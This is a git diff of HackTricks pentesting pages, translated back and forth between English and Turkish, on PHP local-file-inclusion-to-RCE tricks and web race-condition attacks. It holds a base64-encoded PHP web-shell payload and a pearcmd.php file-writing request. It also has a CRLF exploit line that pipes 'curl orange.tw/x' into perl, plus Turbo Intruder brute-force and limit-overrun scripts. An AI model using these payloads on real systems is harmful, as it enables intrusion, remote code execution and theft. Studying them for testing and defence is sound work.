+As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter non-base64 karakterleri yok sayar. Bunu dosya uzantısı kontrolünü bypass etmek için kullanabilirsiniz: eğer sonu ".php" ile biten base64 sağlarsanız, filtre "." karakterini yok sayar ve base64'e "php" ekler. İşte bir örnek payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
-### php filters ile (no file needed)
+### Via php filters (dosya gerekmez)
-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) açıklar ki **php filters to generate arbitrary content** olarak çıktı üretmek için kullanabilirsiniz. Bu temelde include için **generate arbitrary php code** oluşturabileceğiniz ve bunu bir dosyaya yazmaya **without needing to write** gerekmeden yapabileceğiniz anlamına gelir.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters ile rastgele içerik üretmek** as output. Which basically means that you can **herhangi PHP kodu üretmek** for the include **bir dosyaya yazmanıza gerek kalmadan**.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
-### segmentation fault ile
+### Via segmentation fault
-Bir dosyayı yükleyin; bu dosya `/tmp` içinde geçici olarak saklanacaktır. Ardından aynı istekte bir **segmentation fault** tetikleyin; böylece geçici dosya silinmeyecek ve onu arayabilirsiniz.
+**/tmp** içinde **geçici** olarak saklanacak bir dosya yükleyin, sonra **aynı istek** içinde bir segmentation fault tetikleyin; bu durumda **geçici** dosya silinmeyecek ve onu arayabilirsiniz.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
-### Nginx temp file storage ile
+### Via Nginx temp file storage
-Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
+Eğer bir **Local File Inclusion** bulduysanız ve Nginx PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
-### PHP_SESSION_UPLOAD_PROGRESS ile
+### Via PHP_SESSION_UPLOAD_PROGRESS
-Eğer bir **Local File Inclusion** bulduysanız — oturumunuz olmasa bile ve `session.auto_start` `Off` olsa bile — multipart POST verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP oturumu sizin için etkinleştirecektir. Bunu RCE elde etmek için suistimal edebilirsiniz:
+Eğer bir **Local File Inclusion** bulduysanız, hatta bir session'ınız yoksa ve `session.auto_start` `Off` ise bile. Multipart POST verisinde `PHP_SESSION_UPLOAD_PROGRESS` sağlarsanız, PHP oturumu sizin için etkinleştirecektir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
-### Windows üzerinde temp file uploads ile
+### Via temp file uploads in Windows
-Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa, RCE elde edebilirsiniz:
+Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa, RCE elde etme şansınız olabilir:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
-### `pearcmd.php` + URL args ile
+### Via `pearcmd.php` + URL args
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` scripti php docker images'ta varsayılan olarak bulunur. Ayrıca URL aracılığıyla script'e argüman geçirmek mümkündür çünkü eğer bir URL parametresi `=` içermiyorsa argüman olarak kullanılacağı belirtilmiştir. Ayrıca bkz. [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) ve [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
-Aşağıdaki örnek, CRLF vulnunu RCE elde etmek için kötüye kullanır (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+Aşağıdaki, RCE elde etmek için bir CRLF vuln'ünü kötüye kullanır (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
-### Via phpinfo() (file_uploads = on)
+### phpinfo() ile (file_uploads = on)
-If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
+Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'yu açığa çıkaran bir dosyada file_uploads = on ise RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
-### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
+### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ile
-If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
+Eğer bir **Local File Inclusion** bulduysanız ve geçici dosyanın yolunu **can exfiltrate the path** edebiliyorsanız AMA **server** dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını **kontrol ediyorsa**, you can try to **bypass that check** with this **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
-### Via eternal waiting + bruteforce
+### eternal waiting + bruteforce ile
-If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
+Eğer LFI'yi **upload temporary files** için kötüye kullanıp sunucunun PHP yürütmesini **hang** edecek şekilde yapabiliyorsanız, geçici dosyayı bulmak için saatlerce **brute force filenames during hours** ile deneme yapabilirsiniz:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
-### To Fatal Error
+### Fatal Error'a
-If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
+Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez dahil etmeniz gerekir).
-Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekir).
-
-**I don't know how is this useful but it might be.**\
-_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
-
-**Bunun ne kadar kullanışlı olabileceğini bilmiyorum ama işe yarayabilir.**\
-_Bir PHP Fatal Error'a neden olsanız bile, upload edilen PHP geçici dosyaları silinir._
+**Bunun nasıl kullanışlı olduğunu bilmiyorum ama işe yarayabilir.**\
+_PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
-## References
+## Kaynaklar
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index df6d39b3c..736cea827 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Bu teknik hakkında derinlemesine bilgi edinmek için orijinal rapora bakın: [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
-## Race Condition Saldırılarının Geliştirilmesi
+## Enhancing Race Condition Attacks
-Race conditions'tan yararlanmanın temel engeli, birden fazla isteğin aynı anda işlenmesini sağlamak ve işleme süreleri arasındaki farkın **çok az olmasıdır — ideal olarak 1ms'den az**.
+Race condition'lardan yararlanmanın ana zorluğu, birden çok isteğin neredeyse aynı anda işlenmesini sağlamaktır; işlem süreleri arasındaki fark çok küçük olmalıdır — ideal olarak 1ms'den az.
-İstekleri senkronize etmek için bazı teknikler şunlardır:
+Here you can find some techniques for Synchronizing Requests:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
-- **HTTP/2**: Tek bir TCP bağlantısı üzerinden iki isteğin gönderilmesine izin verir; böylece ağ jitter'ının etkisini azaltır. Ancak sunucu tarafındaki farklılıklar nedeniyle, tutarlı bir race condition exploit'i için iki istek her zaman yeterli olmayabilir.
-- **HTTP/1.1 'Last-Byte Sync'**: 20-30 isteğin çoğu kısmının önceden gönderilmesine, küçük bir parçanın geri tutulmasına izin verir; bu parçalar birlikte gönderildiğinde sunucuya eşzamanlı varış sağlanır.
+- **HTTP/2**: Tek bir TCP bağlantısı üzerinden iki istek gönderilmesini destekler, ağ jitter etkisini azaltır. Ancak sunucu tarafı varyasyonları nedeniyle, iki istek tutarlı bir race condition exploit'i için yeterli olmayabilir.
+- **HTTP/1.1 'Last-Byte Sync'**: 20-30 isteğin çoğunluğunu önceden göndermeye, küçük bir parçayı geri tutmaya ve ardından bu parçaların birlikte gönderilmesiyle sunucuya eşzamanlı varış sağlamaya olanak tanır.
-**Preparation for Last-Byte Sync** şunları içerir:
+**Preparation for Last-Byte Sync** involves:
-1. Stream'i sonlandırmadan, başlıkları ve gövde verisini son bayt hariç göndermek.
-2. İlk gönderimin ardından 100ms beklemek.
-3. Son frameleri toplu halde göndermek için Nagle's algorithm'dan faydalanmak üzere TCP_NODELAY'ı devre dışı bırakmak.
-4. Bağlantıyı ısıtmak için ping göndermek.
+1. Başlıkları ve gövde verisini, akışı sonlandırmadan son bayt hariç göndermek.
+2. İlk gönderimden sonra 100ms beklemek.
+3. Son frame'leri paketlemek için Nagle algoritmasından yararlanmak amacıyla TCP_NODELAY'i devre dışı bırakmak.
+4. Bağlantıyı ısıtmak için ping atmak.
-Geri tutulan framelerin daha sonra gönderilmesi, bunların tek bir pakette ulaşmasına yol açmalıdır; bu durum Wireshark ile doğrulanabilir. Bu yöntem, genellikle RC saldırılarında yer almayan statik dosyalar için geçerli değildir.
+Geri tutulan frame'lerin sonradan gönderilmesi bunların tek bir paket halinde ulaşmasına neden olmalı ve bu Wireshark ile doğrulanabilir. Bu yöntem genellikle RC attacks ile ilgili olmayan static dosyalara uygulanmaz.
-### Sunucu Mimarisine Uyum Sağlama
+### Adapting to Server Architecture
-Hedefin mimarisini anlamak çok önemlidir. Front-end sunucular istekleri farklı şekilde yönlendirebilir; bu da zamanlamayı etkiler. Önceden sunucu tarafında bağlantıyı ısıtmak (önemsiz isteklerle) istek zamanlamasını normalize edebilir.
+Hedefin mimarisini anlamak kritik öneme sahiptir. Front-end sunucular istekleri farklı yollarla yönlendirebilir; bu da zamanlamayı etkiler. Önemsiz isteklerle sunucu tarafı bağlantısını önceden ısıtmak istek zamanlamasını normalize edebilir.
#### Handling Session-Based Locking
-PHP gibi framework'lerin session handler'ları istekleri session bazında sıralayabilir; bu, zafiyetleri gizleyebilir. Her istek için farklı session token'ları kullanmak bu sorunun önüne geçebilir.
+PHP'nin session handler'ı gibi framework'ler istekleri session bazında seri hale getirebilir ve bu da zafiyetleri gizleyebilir. Her istek için farklı session token'ları kullanmak bu sorunun üstesinden gelebilir.
#### Overcoming Rate or Resource Limits
-Bağlantı ısıtma etkisizse, web sunucularının rate veya kaynak limit gecikmelerini kasten tetiklemek için sahte istek seli göndermek, sunucu taraflı bir gecikme oluşturarak single-packet attack'i kolaylaştırabilir.
+Bağlantı ısıtma etkisizse, sunucu tarafı gecikmesi oluşturarak web sunucularının rate veya resource limit gecikmelerini kasıtlı olarak tetiklemek, single-packet attack'i kolaylaştırabilir.
## Saldırı Örnekleri
-- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: İsteği **Turbo Intruder**'a gönderebilirsiniz (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), istekte brute force yapmak istediğiniz değeri **`%s`** olarak değiştirebilirsiniz; örneğin `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` ve ardından açılır menüden **`examples/race-single-packer-attack.py`** dosyasını seçin:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: İsteği **Turbo intruder**'a gönderebilirsiniz (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), istekte brute force yapmak istediğiniz değeri **`%s`** olarak değiştirebilirsiniz; örneğin `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` ve ardından açılır menüden **`examples/race-single-packer-attack.py`**'yi seçin:
-Farklı değerler gönderecekseniz, kodu panodan alınan bir wordlist kullanan şu sürümle değiştirebilirsiniz:
+If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
-> Web sitesi HTTP2'yi desteklemiyorsa (sadece HTTP1.1), `Engine.THREADED` veya `Engine.BURP`'ı `Engine.BURP2` yerine kullanın.
+> Eğer web HTTP2'yi desteklemiyorsa (sadece HTTP1.1), `Engine.THREADED` veya `Engine.BURP` kullanın, `Engine.BURP2` yerine.
-- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: RCE'yi tetiklemek için önce 1 endpoint'e bir istek, ardından diğer endpoint'lere birden fazla istek göndermeniz gerekiyorsa, `race-single-packet-attack.py` script'ini şu şekilde değiştirebilirsiniz:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Eğer RCE'yi tetiklemek için önce 1 endpoint'e istek gönderip ardından diğer endpoint'lere birden fazla istek göndermeniz gerekiyorsa, `race-single-packet-attack.py` dosyasını şu şekilde değiştirebilirsiniz:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
-- Ayrıca **Repeater** içinde Burp Suite'deki yeni '**Send group in parallel**' seçeneğiyle de mevcut.
-- **limit-overrun** için gruba **aynı request'i 50 kez** ekleyebilirsiniz.
-- **connection warming** için, **group**'un **beginning**'ine web sunucusunun statik olmayan bir kısmına birkaç **requests** ekleyebilirsiniz.
-- Süreçte bir **request**'in işlenmesi ile diğerinin işlenmesi **between** gecikme (**delaying**) oluşturmak için, iki request arasına ekstra **requests** ekleyebilirsiniz (2 substates adımında).
-- Bir **multi-endpoint** RC için, **gizli duruma giden request**'i göndermeye başlayıp hemen ardından **gizli durumu istismar eden** **50 request** gönderebilirsiniz.
+- Ayrıca **Repeater**'da Burp Suite'teki yeni '**Send group in parallel**' seçeneği ile de kullanılabilir.
+- **limit-overrun** için gruba **same request 50 times** ekleyebilirsiniz.
+- **connection warming** için, web sunucusunun statik olmayan bir bölümüne bazı **requests** göndermek üzere **grubun** **başına** **add** yapabilirsiniz.
+- İki alt durum adımında, bir isteğin işlenmesi ile diğerinin işlenmesi arasındaki süreci **delaying** etmek için, iki istek arasına **add extra requests between** ekleyebilirsiniz.
+- Bir **multi-endpoint** RC için, **goes to the hidden state** olan **request**'i göndermeye başlayıp hemen ardından **50 requests** ile **exploits the hidden state** yapabilirsiniz.
-- **Automated python script**: Bu scriptin amacı, bir kullanıcının email'ini değiştirmek ve yeni email'in verification token'ı son email'e ulaşana kadar sürekli olarak doğrulamaktır (kodda, email'i değiştirmek mümkünken doğrulamanın eski email'e gönderildiği bir RC durumu görülüyordu; çünkü email'i gösteren değişken ilk olanla zaten doldurulmuştu).\
-Alınan emaillerde "objetivo" kelimesi bulunduğunda, değiştirilen email'in verification token'ını aldığımızı biliriz ve saldırıyı sonlandırırız.
+- **Automated python script**: Bu script'in amacı, bir kullanıcının e-postasını değiştirmek ve yeni e-postanın doğrulama tokenı son e-postaya ulaşana kadar sürekli olarak doğrulamaktır (çünkü kodda, bir RC gözlemlenmişti: e-posta değiştirilebiliyor fakat doğrulama eski e-postaya gönderiliyordu; bunun nedeni e-postayı belirten değişkenin zaten ilk e-posta ile doldurulmuş olmasıydı).\
+Alınan e-postalarda "objetivo" kelimesi bulunduğunda, değiştirilen e-postanın doğrulama tokenını aldığımızı biliriz ve saldırıyı sonlandırırız.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@@ -217,21 +217,29 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
-### Single Packet Attack'ı İyileştirme
+#### Turbo Intruder: engine and gating notes
-Orijinal araştırmada bu saldırının 1,500 byte ile sınırlı olduğu açıklanıyor. Ancak, [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), single packet attack'ın 1,500 baytlık sınırlamasının IP layer fragmentation kullanılarak (tek bir paketi birden fazla IP paketine bölme) ve parçaları farklı sırada göndererek TCP'nin **65,535 B pencere sınırlamasına** nasıl genişletilebileceğini açıkladı; bu, tüm fragment'ler sunucuya ulaşana kadar paket yeniden birleştirilmesinin engellenmesine olanak tanır. Bu teknik, araştırmacının yaklaşık 166ms içinde 10,000 istek göndermesine izin verdi.
+- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
+- `gate`/`openGate`: birçok kopyayı `gate='race1'` (veya deneme başına gate'ler) ile kuyruğa alın; bu, her isteğin son kısmını tutar; `openGate('race1')` tüm son kısımları birlikte boşaltır, böylece neredeyse aynı anda ulaşırlar.
+- Diagnostics: Turbo Intruder'daki negatif zaman damgaları, isteğin tamamen gönderilmeden önce sunucunun yanıt verdiğini gösterir; bu örtüşmeyi kanıtlar. Bu gerçek races'lerde beklenen bir durumdur.
+- Connection warming: önce zamanlamaları stabilize etmek için bir ping veya birkaç zararsız istek gönderin; isteğe bağlı olarak son framelerin gruplanmasını teşvik etmek için `TCP_NODELAY`'ı devre dışı bırakın.
-Not: Bu geliştirme, yüzlerce/binlerce paketin aynı anda ulaşmasını gerektiren RC saldırılarını daha güvenilir hale getirse de bazı yazılım sınırlamaları olabilir. Apache, Nginx ve Go gibi bazı popüler HTTP sunucularında `SETTINGS_MAX_CONCURRENT_STREAMS` ayarı sırasıyla 100, 128 ve 250 ile katı tutuluyor. Ancak NodeJS ve nghttp2 gibi diğerlerinde bu sınırlama yok.\
-Bu temelde Apache'nin tek bir TCP bağlantısından sadece 100 HTTP bağlantısını dikkate alacağı anlamına gelir (bu RC saldırısını sınırlayabilir).
-You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
+### Improving Single Packet Attack
+
+In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
+
+Bu iyileştirmenin, yüzler/binlerce paketin aynı anda ulaşmasını gerektiren RC durumlarında saldırıyı daha güvenilir hale getirdiğini unutmayın; ancak bazı yazılım sınırlamaları da olabilir. Apache, Nginx ve Go gibi bazı popüler HTTP sunucularının `SETTINGS_MAX_CONCURRENT_STREAMS` ayarı sırasıyla 100, 128 ve 250 ile sınırlıdır. Ancak NodeJS ve nghttp2 gibi diğerleri bunu sınırsız tutar.\
+Bu temelde Apache'nin tek bir TCP bağlantısından yalnızca 100 HTTP bağlantısını dikkate alacağı (bu RC saldırısını sınırlayacağı) anlamına gelir.
+
+Bu tekniği kullanan bazı örnekleri repo içinde bulabilirsiniz: [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
-Önceki araştırmadan önce, RC'ye neden olmak için paketleri mümkün olduğunca hızlı göndermeye çalışan bazı payloads kullanılıyordu.
+Önceki araştırmadan önce, paketleri mümkün olduğunca hızlı göndererek bir RC oluşturmayı amaçlayan bazı payload'lar kullanılıyordu.
- **Repeater:** Önceki bölümdeki örneklere bakın.
-- **Intruder**: **request**'i **Intruder**'a gönderin, **Options menu** içinde **number of threads**'i **30** olarak ayarlayın, payload olarak **Null payloads**'i seçin ve **30** adet oluşturun.
+- **Intruder**: **request**'i **Intruder**'a gönderin, **Options menu** içinde **number of threads**'i **30** olarak ayarlayın; payload olarak **Null payloads**'ı seçin ve **30** tane oluşturun.
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@@ -283,71 +291,71 @@ asyncio.run(main())
### Limit-overrun / TOCTOU
-Bu, bir eylemi gerçekleştirebileceğiniz sayıyı sınırlayan yerlerde ortaya çıkan en temel tür race condition'dır. Örneğin bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**this bug**](https://hackerone.com/reports/759247)**'da** bulunabilir.
+Bu, en temel race condition türüdür; burada **zafiyetler**, bir işlemi kaç kez gerçekleştirebileceğinizi **sınırlayan** yerlerde **ortaya çıkar**. Örneğin aynı indirim kodunu bir web mağazasında birkaç kez kullanmak. Çok basit bir örnek [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**this bug**](https://hackerone.com/reports/759247)** içinde bulunabilir.**
-Bu tür saldırıların birçok varyasyonu vardır, bunlar arasında:
+Bu tür saldırıların birçok varyasyonu vardır, örneğin:
- Bir hediye kartını birden fazla kez kullanma
- Bir ürünü birden fazla kez puanlama
- Hesap bakiyenizin üzerinde para çekme veya transfer etme
-- Tek bir CAPTCHA çözümünü yeniden kullanma
-- Bir anti-brute-force rate limit'ini atlatma
+- Tek bir CAPTCHA çözümünü tekrar kullanma
+- Bir anti-brute-force rate limitini atlatma
-### **Gizli alt durumlar**
+### **Hidden substates**
-Karmaşık race condition'ları istismar etmek sıklıkla gizli veya **istenmeyen makine alt durumlarıyla** etkileşim kurmak için kısa süreli fırsatlardan yararlanmayı içerir. Yaklaşım şu şekilde olmalıdır:
+Complex race conditions'ları istismar etmek sıklıkla gizli veya **istem dışı makina alt durumlarıyla** etkileşim kurmak için kısa fırsatlardan yararlanmayı içerir. Bu yaklaşımla ilerleyin:
-1. **Potansiyel Gizli Alt Durumları Belirleyin**
-- Kullanıcı profilleri veya password reset süreçleri gibi kritik verileri değiştiren veya onlarla etkileşen endpoint'leri tespit ederek başlayın. Şunlara odaklanın:
-- **Storage**: Client-side verileri işleyen endpoint'lerden ziyade server-side persistent verileri manipüle eden endpoint'leri tercih edin.
-- **Action**: Var olan veriyi değiştiren işlemleri arayın; yeni veri ekleyenlere göre istismar edilebilir koşullar yaratma olasılıkları daha yüksektir.
-- **Keying**: Başarılı saldırılar genellikle aynı tanımlayıcıya (ör. kullanıcı adı veya reset token) bağlı işlemleri içerir.
-2. **İlk Testleri Yapın**
-- Belirlediğiniz endpoint'leri race condition saldırılarıyla test edin, beklenen sonuçlardan sapmaları gözlemleyin. Beklenmedik yanıtlar veya uygulama davranışındaki değişiklikler bir zafiyeti işaret edebilir.
-3. **Zafiyeti Gösterin**
-- Saldırıyı, genellikle sadece iki isteğe indirgenebilen en az sayıda istekle istismarı gösterecek şekilde daraltın. Bu adım, hassas zamanlama gerektirdiği için birden fazla deneme veya otomasyon gerektirebilir.
+1. **Identify Potential Hidden Substates**
+- Öncelikle user profile'lar veya password reset süreçleri gibi kritik verileri değiştiren veya onlarla etkileşime giren endpoints'leri belirleyin. Aşağıya odaklanın:
+- **Storage**: Client-side ile işlem yapan endpoint'lerden ziyade server-side persistent data'yı değiştiren endpoint'leri tercih edin.
+- **Action**: Yeni veri ekleyen operasyonlara kıyasla mevcut veriyi değiştiren işlemler exploit için daha elverişli koşullar yaratma eğilimindedir.
+- **Keying**: Başarılı saldırılar genellikle aynı identifier üzerinde anahtarlanan operasyonları içerir; örn. username veya reset token.
+2. **Conduct Initial Probing**
+- Belirlenen endpoint'leri race condition saldırılarıyla test edin ve beklenen sonuçlardan sapma olup olmadığını gözlemleyin. Beklenmeyen yanıtlar veya uygulama davranışındaki değişiklikler zafiyet işareti olabilir.
+3. **Demonstrate the Vulnerability**
+- Saldırıyı istismarı sağlayan en az sayıda isteğe indirgediğinizden emin olun; genellikle iki istek yeterlidir. Bu adım, hassas zamanlama nedeniyle birden fazla deneme veya otomasyon gerektirebilir.
### Time Sensitive Attacks
-İsteklerin zamanlamasındaki hassasiyet zafiyetleri ortaya çıkarabilir, özellikle security token'lar için timestamp gibi öngörülebilir yöntemler kullanıldığında. Örneğin, password reset token'larının timestamp bazlı üretilmesi eş zamanlı isteklerde aynı token'ların üretilmesine izin verebilir.
+İsteklerin zamanlamasındaki hassasiyet zafiyetleri ortaya çıkarabilir; özellikle timestamp gibi öngörülebilir yöntemler security token'lar için kullanıldığında. Örneğin, password reset token'larının timestamp'e göre üretilmesi, eş zamanlı istekler için aynı token'ların oluşturulmasına izin verebilir.
-To Exploit:
+**To Exploit:**
-- Eş zamanlı password reset istekleri yapmak için tek paket saldırısı gibi hassas zamanlama kullanın. Özdeş token'lar bir zafiyeti gösterir.
+- Eş zamanlı password reset istekleri yapmak için tek paketlik saldırı gibi hassas zamanlama kullanın. Identical token'lar zafiyete işaret eder.
-Example:
+**Example:**
-- Aynı anda iki password reset token isteyin ve karşılaştırın. Eşleşen token'lar token üretiminde bir hata olduğunu gösterir.
+- Aynı anda iki password reset token isteğinde bulunun ve bunları karşılaştırın. Token'ların eşleşmesi token generation'da bir kusur olduğunu gösterir.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
-## Gizli alt durum vaka çalışmaları
+## Hidden substates case studies
### Pay & add an Item
-Bu [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) üzerinden bir mağazada **ödeme yaparken** ve **fazladan bir öğe ekleyerek** bunun için **ödeme yapmamanızı** nasıl sağlayabileceğinizi görebilirsiniz.
+Bu [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) örneğini inceleyin; mağazada **pay** edip aynı anda **add an extra** item yaparak onun için **ödeme yapmamanızı** sağlayacak yöntemi gösterir.
### Confirm other emails
-Fikir, **bir e-posta adresini doğrulamak ve aynı anda farklı bir adrese değiştirmek** ve platformun değiştirilen yeni adresi doğrulayıp doğrulamadığını öğrenmektir.
+Amaç, bir email adresini **doğrulamak ve aynı anda farklı bir email ile değiştirmek** ve platformun yeni email'i doğrulayıp doğrulamadığını görmek.
### Change email to 2 emails addresses Cookie based
-Bu [**this research**](https://portswigger.net/research/smashing-the-state-machine) çalışmasına göre Gitlab bu şekilde takeover'a karşı savunmasızdı çünkü bir e-postanın email verification token'ını diğer e-postaya **gönderebilir**.
+[**this research**](https://portswigger.net/research/smashing-the-state-machine) raporuna göre Gitlab bu şekilde takeover'a karşı zayıftı çünkü bir email'in email verification token'ını diğer email'e **gönderebilirdi**.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
### Hidden Database states / Confirmation Bypass
-Eğer bir veritabanına bilgi eklemek için **2 farklı write** kullanılıyorsa, veritabanına sadece ilk verinin yazılmış olduğu kısa bir zaman dilimi vardır. Örneğin, kullanıcı oluştururken önce **username** ve **password** yazılabilir, ardından yeni oluşturulan hesabı onaylamak için **token** yazılabilir. Bu, kısa bir süre için hesabı onaylama token'ının null olduğu anlamına gelir.
+Eğer bir veritabanına bilgi eklemek için **2 farklı write** kullanılıyorsa, veritabanına sadece ilk verinin yazıldığı kısa bir zaman dilimi olabilir. Örneğin kullanıcı oluşturulurken **username** ve **password** yazıldıktan sonra yeni hesabı onaylamak için token yazılabilir. Bu durumda kısa bir süre için hesap onayı token'ı null olur.
